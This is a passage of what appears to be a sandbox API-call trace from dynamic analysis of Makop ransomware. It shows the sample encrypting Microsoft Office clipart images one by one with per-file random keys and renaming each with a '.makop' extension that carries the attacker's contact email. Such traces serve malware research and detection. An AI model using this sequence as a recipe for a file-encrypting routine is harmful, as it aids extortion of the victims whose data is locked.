(hKey=0x48c7128) returned 1 [0137.448] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x17824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.448] SetEndOfFile (hFile=0xf0) returned 1 [0137.455] GetProcessHeap () returned 0x48a0000 [0137.455] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.455] GetProcessHeap () returned 0x48a0000 [0137.455] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.455] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.455] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.457] CloseHandle (hObject=0xf0) returned 1 [0137.457] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15a7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382954.JPG", cAlternateFileName="")) returned 1 [0137.457] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG") returned 63 [0137.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.458] GetProcessHeap () returned 0x48a0000 [0137.458] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.458] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.458] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.458] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0137.462] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.462] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.462] GetProcessHeap () returned 0x48a0000 [0137.462] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.462] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.462] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.462] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.462] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.462] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.463] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.463] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.463] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.463] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.463] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.463] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.463] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x15a7f, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x15a7f, lpOverlapped=0x0) returned 1 [0137.466] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x15a80, dwBufLen=0x15a80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x15a80) returned 1 [0137.467] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.467] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x15a80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x15a80, lpOverlapped=0x0) returned 1 [0137.468] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.468] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x15b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.468] SetEndOfFile (hFile=0xf0) returned 1 [0137.475] GetProcessHeap () returned 0x48a0000 [0137.475] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.475] GetProcessHeap () returned 0x48a0000 [0137.475] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.475] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.475] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.477] CloseHandle (hObject=0xf0) returned 1 [0137.477] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15fef, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382955.JPG", cAlternateFileName="")) returned 1 [0137.477] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG") returned 63 [0137.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.478] GetProcessHeap () returned 0x48a0000 [0137.478] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.478] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.478] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.478] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0137.489] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.490] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.490] GetProcessHeap () returned 0x48a0000 [0137.490] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.490] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.490] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.490] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.490] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.491] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.491] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.491] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.491] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.491] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.491] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.491] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.491] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x15fef, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x15fef, lpOverlapped=0x0) returned 1 [0137.494] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x15ff0, dwBufLen=0x15ff0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x15ff0) returned 1 [0137.496] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.496] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x15ff0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x15ff0, lpOverlapped=0x0) returned 1 [0137.497] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.497] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x160c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.497] SetEndOfFile (hFile=0xf0) returned 1 [0137.504] GetProcessHeap () returned 0x48a0000 [0137.505] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.505] GetProcessHeap () returned 0x48a0000 [0137.505] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.505] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.505] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.506] CloseHandle (hObject=0xf0) returned 1 [0137.507] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a9ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382957.JPG", cAlternateFileName="")) returned 1 [0137.507] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG") returned 63 [0137.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.508] GetProcessHeap () returned 0x48a0000 [0137.508] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.508] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.508] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.508] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x3, lpOverlapped=0x0) returned 1 [0137.512] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.512] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.512] GetProcessHeap () returned 0x48a0000 [0137.512] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.512] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.512] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.512] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.512] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.513] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.513] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.513] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.513] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.513] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.513] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.513] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.514] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1a9ed, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1a9ed, lpOverlapped=0x0) returned 1 [0137.516] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a9f0, dwBufLen=0x1a9f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a9f0) returned 1 [0137.517] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.518] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1a9f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1a9f0, lpOverlapped=0x0) returned 1 [0137.518] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.518] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1aac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.519] SetEndOfFile (hFile=0xf0) returned 1 [0137.526] GetProcessHeap () returned 0x48a0000 [0137.526] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.526] GetProcessHeap () returned 0x48a0000 [0137.527] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.527] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.527] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.529] CloseHandle (hObject=0xf0) returned 1 [0137.529] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x193e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382958.JPG", cAlternateFileName="")) returned 1 [0137.529] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG") returned 63 [0137.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.530] GetProcessHeap () returned 0x48a0000 [0137.530] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.530] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.530] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.531] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x9, lpOverlapped=0x0) returned 1 [0137.535] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.535] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.535] GetProcessHeap () returned 0x48a0000 [0137.535] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.535] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.535] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.536] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.536] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.536] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.536] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.536] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.536] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.537] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.537] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.537] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.537] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x193e7, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x193e7, 